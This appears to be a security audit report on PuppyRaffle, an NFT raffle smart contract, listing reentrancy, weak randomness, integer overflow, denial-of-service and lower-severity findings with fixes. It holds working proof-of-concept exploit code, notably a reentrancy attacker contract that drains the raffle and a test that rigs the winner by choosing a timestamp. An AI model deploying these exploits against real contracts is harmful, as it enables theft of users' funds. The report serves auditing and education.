Puppy Raffle Security Review Report

Version 1.0

Operation-C

September 30, 2024

Puppy Raffle Security Review

Operation-C

September 30, 2024

Prepared by: Operation-C Lead Security Researcher: - Operation-C

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed

3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Operation-C makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#--PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of Issues Found
High	3
Medium	4
Low	6
Info	2
Total	15

Findings

High

[H-1]: Invoking `PuppyRaffle::refund` allows active users to execute a reentrancy attack on the contract due to the lack of Check-Effects-Interactions (CEI) pattern implementation. This vulnerability occurs when returning the `entranceFee` to the user, enabling a potential reentrancy exploit.

Description: A malicious active user can repeatedly reenter the `PuppyRaffle::refund` function, draining the contract of all funds. This vulnerability exists because the user's `entranceFee` is refunded before updating the state of their `entranceFee`.

```
1          payable(msg.sender).sendValue(entranceFee);
2          // refunding the entranceFee before updating the state
3  -->     players[playerIndex] = address(0);
```

Impact: Reentering into the contract can result in a loss of funds, affecting end users monetarily and damaging the protocol's finances and reputation.

Proof of Concept: The active threat actor can successfully reenter into `PuppyRaffle::refund` by creating a malicious contract stealing all funds:

Malicious Contract

```
        contract Reentrancy {
            PuppyRaffle puppyRaffle;

            uint256 entranceFee;
            uint256 attackerIndex;

            constructor(PuppyRaffle _puppyRaffle) {
                puppyRaffle = _puppyRaffle;
                entranceFee = puppyRaffle.entranceFee();
            }

            receive() external payable {
                if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
                }
            }

            function attack() public payable {
                address[] memory players = new address[](1);
                players[0] = address(this);

                // enter the raffle
                puppyRaffle.enterRaffle{value: entranceFee}(players);

                // get the player index
                attackerIndex = puppyRaffle.getActivePlayerIndex(
                    address(this));

                // call refund function
                // as refund is called it will invoke the receive
                    function inside this contract
                puppyRaffle.refund(attackerIndex);
            }
        }
```

PoC

```
        function testReentrancy() public {
            // creating players
            address[] memory players = new address[](4);
            players[0] = address(5);
            players[1] = address(6);
            players[2] = address(7);
            players[3] = address(8);

            // entering the raffle
```

```
10              puppyRaffle.enterRaffle{value: entranceFee * players.length
                    }(players);
11
12              // creating new attacker contract
13              Reentrancy attackerContract = new Reentrancy(puppyRaffle);
14              address badPlayer = makeAddr("badPlayer");
15              deal(badPlayer, 1 ether);
16
17              uint256 startingAttackerbalance = address(attackerContract)
                    .balance;
18              uint256 startingContractBalancce = address(puppyRaffle).
                    balance;
19
20              // reentrancy exe
21              vm.prank(badPlayer);
22              attackerContract.attack{value: entranceFee}();
23
24              // logging
25              console.log("starting attacker contract balance: %s",
                    startingAttackerbalance);
26              console.log("starting contract balance: %s",
                    startingContractBalancce);
27
28              console.log("ending attacker contract balance: %s", address
                    (attackerContract).balance);
29              console.log("ending contract balance: %s", address(
                    puppyRaffle).balance);
30          }
```

1. Implement Check-Effects-Interactions (CEI) pattern:

Recommended Mitigation: There are three primary options to resolve reentrancy from occuring within `PuppyRaffle::refund`.

```
1
2       function refund(uint256 playerIndex) public {
3           address playerAddress = players[playerIndex];
4           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
5           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
6   +       players[playerIndex] = address(0);
7   +       emit RaffleRefunded(playerAddress);
8           (bool success,) = msg.sender.call{value: entranceFee}("");
9           require(success, "PuppyRaffle: Failed to refund player");
10  -        players[playerIndex] = address(0);
11  -        emit RaffleRefunded(playerAddress);
12      }
```

2. Implement a locking mechanism to PuppyRaffle::refund:

```
+         error PuppyRaffle__lockedFunction();
+         bool locked = false;

        function refund(uint256 playerIndex) public {
+           if (locked) { revert PuppyRaffle__lockedFunction(); }
+           locked = true;
            address playerAddress = players[playerIndex];
            require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
            require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");

            payable(msg.sender).sendValue(entranceFee);
            players[playerIndex] = address(0);
            emit RaffleRefunded(playerAddress);

+           // Unlock the function after execution
+           locked = false;
        }
```

3. Leveraging existing libraries from trust sources like OpenZeppelin's ReentrancyGuard:

```
+         function refund(uint256 playerIndex) public  nonReentrant {
            address playerAddress = players[playerIndex];
            require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
            require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");

            payable(msg.sender).sendValue(entranceFee);
            players[playerIndex] = address(0);
            emit RaffleRefunded(playerAddress);
        }
```

[H-2]: Insecure randomness in `PuppyRaffle::selectWinner` allows for winner manipulation. By exploiting vulnerable randomness when selecting the winner on-chain via block.timestamp, an active user can predict and potentially influence who will be the next winner by gathering the correct parameters.

Description: Using on-chain randomization introduces predictability when selecting the winner.

```
        // @vuln: usess insecure randomness
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
```

Impact: The winner can be manipulated due the usage of `block.timestamp` and `block.difficulty`. Allowing, for unfair loss of funds.

Proof of Concept: Relying on `block.timestamp` & `block.difficulty` introduces the risk of predictability if an attacker controls transaction timing or if they are a miner.

Using `msg.sender` allows the caller to mine for favorable addresses, compromising the system's randomness.

The following PoC simulates a raffle with 100 participants. The goal is to manipulate the outcome so that address 26 becomes the designated winner. By determining the precise `block.timestamp` and applying it to the winner-selection equation, we can call `PuppyRaffle::selectWinner` and confirm that address 26 indeed wins the raffle.

```
1     Logs:
2     Starting balance of address 26 balance: 0
3     Malicious Timestamp: 86413
4     Expected winner index: 26
5     Address of expected winner: 0
         x000000000000000000000000000000000000001a
6     Number of attempts to find the expected winner: 12
7     Actual Winner: 0x000000000000000000000000000000000000001a
8     Final balance of address 26: 80000000000000000000
```

PoC

```
1
2     function test100Randomness() public {
3         address expectedWinner;
4         uint256 numberOfAttempts = 0;
5
6         // creating players
7         uint256 numberOfPlayers = 100;
8         address[] memory players = new address[](numberOfPlayers);
9         // create 100 unique address
10        for (uint256 i; i < players.length; i++) {
11            players[i] = address(payable(i));
12        }
13
14        uint256 playerLength = players.length;
15
16        console.log("Starting balance of address 26: %s", address(
             payable(26)).balance);
17
18        // entering the raffle
19        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
             players);
20
21        // calc the end time
```

```
22          uint256 raffleEndTime = puppyRaffle.raffleStartTime() +
                puppyRaffle.raffleDuration();
23
24          for (uint256 i; i < 1000; i++) {
25              // used to discover the number of attempts to discover the
                    winner
26              numberOfAttempts++;
27
28              // with each iteration, the testTimestamp is incremented by
                     1 + i
29              uint256 testTimestamp = raffleEndTime + 1 + i;
30              // updating the current timestamp with each iteration
31              vm.warp(testTimestamp);
32
33              // discovered timestamp is applied to the equation
34              uint256 expectedWinnerIndex = uint256(keccak256(abi.
                    encodePacked(address(this), testTimestamp, block.
                    difficulty))) % playerLength;
35
36              // get the address of the expected winner
37              expectedWinner = players[expectedWinnerIndex];
38
39              // making sure the expected winner matches the desired
                    address to win!!!
40              if (expectedWinner == players[26]) {
41                  console.log("Malicious Timestamp: %s", testTimestamp);
42                  console.log("Expected winner index: %s",
                        expectedWinnerIndex);
43                  console.log("Address of expected winner: %s",
                        expectedWinner);
44                  console.log("Number of attempts to find the expected
                        winner: %s", numberOfAttempts);
45
46                  vm.prank(address(this));
47                  puppyRaffle.selectWinner();
48
49                  address actualWinner = puppyRaffle.previousWinner();
50                  console.log("Actual Winner: %s", actualWinner);
51
52                  assertEq(actualWinner, expectedWinner, "Address 26 did
                        not win");
53                  break;
54              }
55          }
56          console.log("Final balance of address 26: %s", address(
                expectedWinner).balance);
57      }
```

Recommended Mitigation: The most popular method to mitigate weak randomness is to offload the computation off-chain and leverage Chainlink VRF (Verifiable Random Function).

Chainlink VRF allows for the output of the randomization to be mathatically safe via RNG (Random Number Generator) Chainlink VRF.

[H-3]: Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
    uint64 myVar = type(uint64).max;
    // myVar will be 18446744073709551615
    myVar = myVar + 1;
    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. This PoC demonstrates how an overflow can be invoked for `uint64 totalFees`.

```
            function test_overflow_fees() public {
                // create users
                address[] memory players = new address[](4);
                players[0] = address(payable(1));
                players[1] = address(payable(2));
                players[2] = address(payable(3));
                players[3] = address(payable(4));

                // Players enter the raffle
                puppyRaffle.enterRaffle{value: entranceFee * players.
                    length}(players);

                uint256 totalAmountCollected = players.length *
                    entranceFee; // 400000000000000000
                uint256 expectedFee = (totalAmountCollected * 20) /
                    100; // 80000000000000000
                console.log("expected fee:     ", expectedFee); //
                    80000000000000000
                console.log("contract balance: ", address(puppyRaffle).
                    balance); // 20% of 400000000000000000 is
                    80000000000000000 aka 0.8 eth

                uint64 totalFee64 = uint64(expectedFee); //
                    80000000000000000 aka 8e17

               // max64: 18446744073709551615
               // calc the headroom then adding 1
               // headroom = 17646744073709551615
```

```
22                 // headroom + 1 = 17646744073709551616
23                 uint64 overflowAmount = (type(uint64).max - totalFee64)
                       + 1;
24
25                 // 80000000000000000 + 17646744073709551616 =
                       18446744073709551616 -> 0
26                 totalFee64 += overflowAmount;
27
28                 assertTrue(totalFee64 < overflowAmount, "Overflow fails
                       !");
29             }
```

2. This PoC demonstrates the ramifications of incorrect typecasting. In this case, the second group's winner will receive fewer rewards than the first group, even though the first group comprised only four accounts.

```
1
2         Logs:
3           1st group winner fees:     800000000000000000
4           2nd group winner fees:     353255926290448384
```

```
1
2             function testOverflowWithHeadroom() public {
3                 // first group of players
4                 address[] memory players = new address[](4);
5                 for (uint256 i; i < players.length; i++) {
6                     players[i] = address(uint256(uint160(i)));
7                 }
8
9                 puppyRaffle.enterRaffle{value: entranceFee * players.
                      length}(players);
10
11                uint256 endTime = puppyRaffle.raffleStartTime() +
                      puppyRaffle.raffleDuration();
12                vm.warp(endTime);
13                vm.roll(endTime + 1);
14
15                puppyRaffle.selectWinner();
16
17                uint256 initialFees = puppyRaffle.totalFees();
18                console.log("1st group winner fees:  %s", initialFees);
19
20                // second group
21                address[] memory player90 = new address[](90);
22                for (uint256 i; i < player90.length; i++) {
23                    player90[i] = address(uint256(uint160(i)));
24                }
25
26                puppyRaffle.enterRaffle{value: entranceFee * player90.
                      length}(player90);
```

```
27
28                  vm.warp(endTime + endTime);
29                  vm.roll(endTime + 1);
30
31
32                  puppyRaffle.selectWinner();
33                  uint256 endingFees = puppyRaffle.totalFees();
34                  console.log("2nd group winner fees: %s", endingFees);
35
36                  assertLe(endingFees, initialFees);
37
38              }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1]: Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` causes a Denial of Service Attack (DoS), incrementing gas costs for futher entrants.

Description: The `PuppyRaffle::enterRaffler` function loops through the `PuppyRaffle::players` array to check for duplicate address entries. If a duplicate is found, the function reverts. However, there's no limit set on the `PuppyRaffle::players` array size. This causes gas costs to

increase as more players are added, potentially rendering the function inoperable due to significant gas increases.

```
        // @vuln: check if the duplicate check will cause a DOS | more
            than likly high gas consumption
        // Check for duplicates
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will significantly increase as more players join the raffle. This discourages later users from entering and causes a rush at the start of a raffle to be among the first entrants in the queue.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252047 - 2nd 100 players: ~18068137 This more than 3x more expensive for the second 100 players

PoC

```
    function testEnterRaffleDoS() public {
            // starting gas price to 1
            vm.txGasPrice(1);

            uint256 playersNum = 100;
            address[] memory players = new address[](playersNum);
            // this will alow us to create unique address
            for (uint256 i; i < playersNum; i++) {
                players[i] = address(i);
            }

            uint256 initialGas = gasleft();
            puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
            uint256 postGas = gasleft();

            uint256 gasForTheFirst100 = (initialGas - postGas) * tx.
                gasprice;
            console.log("Post Gas 100: %s", gasForTheFirst100);


            address[] memory playersTwo = new address[](playersNum);
            // this will alow us to create unique address
            for (uint256 i; i < playersNum; i++) {
                playersTwo[i] = address(i + playersNum);
            }


```

```
            uint256 initialGas200 = gasleft();
            puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                playersTwo);
            uint256 postGas200 = gasleft();

            uint256 gasForTheFirst200 = (initialGas200 - postGas200) *
                tx.gasprice;
            console.log("Post Gas 200: %s", gasForTheFirst200);

            assert(gasForTheFirst100 < gasForTheFirst200);

        }
```

Recommended Mitigation: Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+       }
-       for (uint256 i = 0; i < players.length; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-           }
-       }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
```

```
            PuppyRaffle: Raffle not over");
```

[M-2]: Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: Dangerous strict equality checks on contract balances `PuppyRaffle::withdrawFees`. A contract's balance can be forcibly manipulated by another selfdestructing contract. Therefore, it's recommended to use >, <, >= or <= instead of strict equality.

```
1         // @vuln: strict equality is specified causing a potential DoS
2         require(address(this).balance == uint256(totalFees), "
              PuppyRaffle: There are currently players active!");
```

Impact: Account will not be able to withdraw fees from contract if contract balance does strictly equal the `totalFees`

Proof of Concept:

PoC

```
1     function testFeeDos() public returns(uint256){
2         // create users
3         address[] memory players = new address[](4);
4         players[0] = address(payable(1));
5         players[1] = address(payable(2));
6         players[2] = address(payable(3));
7         players[3] = address(payable(4));
8
9         // enter the users to the raffle
10        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
              players);
11
12        // warp time and block to the end of the raffle
13        uint256 endTime = puppyRaffle.raffleStartTime() + puppyRaffle.
              raffleDuration();
14        vm.warp(endTime);
15        vm.roll(endTime + 1);
16
17        // selecting the winner
18        puppyRaffle.selectWinner();
19
20        uint256 fees = puppyRaffle.totalFees();
21
22        vm.deal(address(puppyRaffle), address(puppyRaffle).balance + 1
              ether);
23
24        vm.expectRevert("PuppyRaffle: There are currently players
              active!");
```

```
25          puppyRaffle.withdrawFees();
26
27          console.log("The fee balance     : %s", fees);
28          console.log("The contract balance: %s", address(puppyRaffle).
                balance);
29      }
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

[M-3]: Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   ->      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-4]: Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1]: Missing checks for `address(0)` when assigning values to address state variables

Description: Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
1
2         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 185

```
1
2         feeAddress = newFeeAddress;
```

[L-2]: `public` functions not used internally could be marked `external`

Description: Instead of marking a function as **`public`**, consider marking it as `external` if it is not used internally.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 79

```
1         function enterRaffle(address[] memory newPlayers) public
             payable {
```

- Found in src/PuppyRaffle.sol Line: 98

```
1      function refund(uint256 playerIndex) public {
```

- Found in src/PuppyRaffle.sol Line: 206

```
1     function tokenURI(uint256 tokenId) public view virtual
         override returns (string memory) {
```

[L-3]: Define and use `constant` variables instead of using literals

Description: If the same constant literal value is used multiple times, create a constant state variable and reference it throughout the contract.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 139

```
1         uint256 prizePool = (totalAmountCollected * 80) / 100;
```

- Found in src/PuppyRaffle.sol Line: 141

```
1         uint256 fee = (totalAmountCollected * 20) / 100;
```

- Found in src/PuppyRaffle.sol Line: 154

```
1         uint256 rarity = uint256(keccak256(abi.encodePacked(msg.
             sender, block.difficulty))) % 100;
```

[L-4]: Event is missing `indexed` fields

Description: Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 53

```
1     event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 54

```
1     event RaffleRefunded(address player);
```

- Found in src/PuppyRaffle.sol Line: 55

```
1     event FeeAddressChanged(address newFeeAddress);
```

[L-5]: Loop contains `require`/`revert` statements

Description: Avoid `require` / `revert` statements in a loop because a single bad item can cause the whole transaction to fail. It's better to forgive on fail and return failed elements post processing of the loop

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 88

```
1             for (uint256 j = i + 1; j < players.length; j++) {
```

[L-6]: Centralization Risk for trusted owners

Description: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 18

```
1 contract PuppyRaffle is ERC721, Ownable {
```

- Found in src/PuppyRaffle.sol Line: 184

```
1     function changeFeeAddress(address newFeeAddress) external
         onlyOwner {
```

Informational

[I-1]: Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers".

Recommended Mitigation: Replace all magic numbers with constants.

```
1 +       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 +       uint256 public constant FEE_PERCENTAGE = 20;
3 +       uint256 public constant TOTAL_PERCENTAGE = 100;
4 .
5 .
6 .
7 -        uint256 prizePool = (totalAmountCollected * 80) / 100;
8 -        uint256 fee = (totalAmountCollected * 20) / 100;
```

```
9           uint256 prizePool = (totalAmountCollected *
                PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
10          uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
                TOTAL_PERCENTAGE;
```

[I-2]: Floating pragmas

Description: Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results.

https://swcregistry.io/docs/SWC-103/

Recommended Mitigation: Lock up pragma versions.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity 0.7.6;
```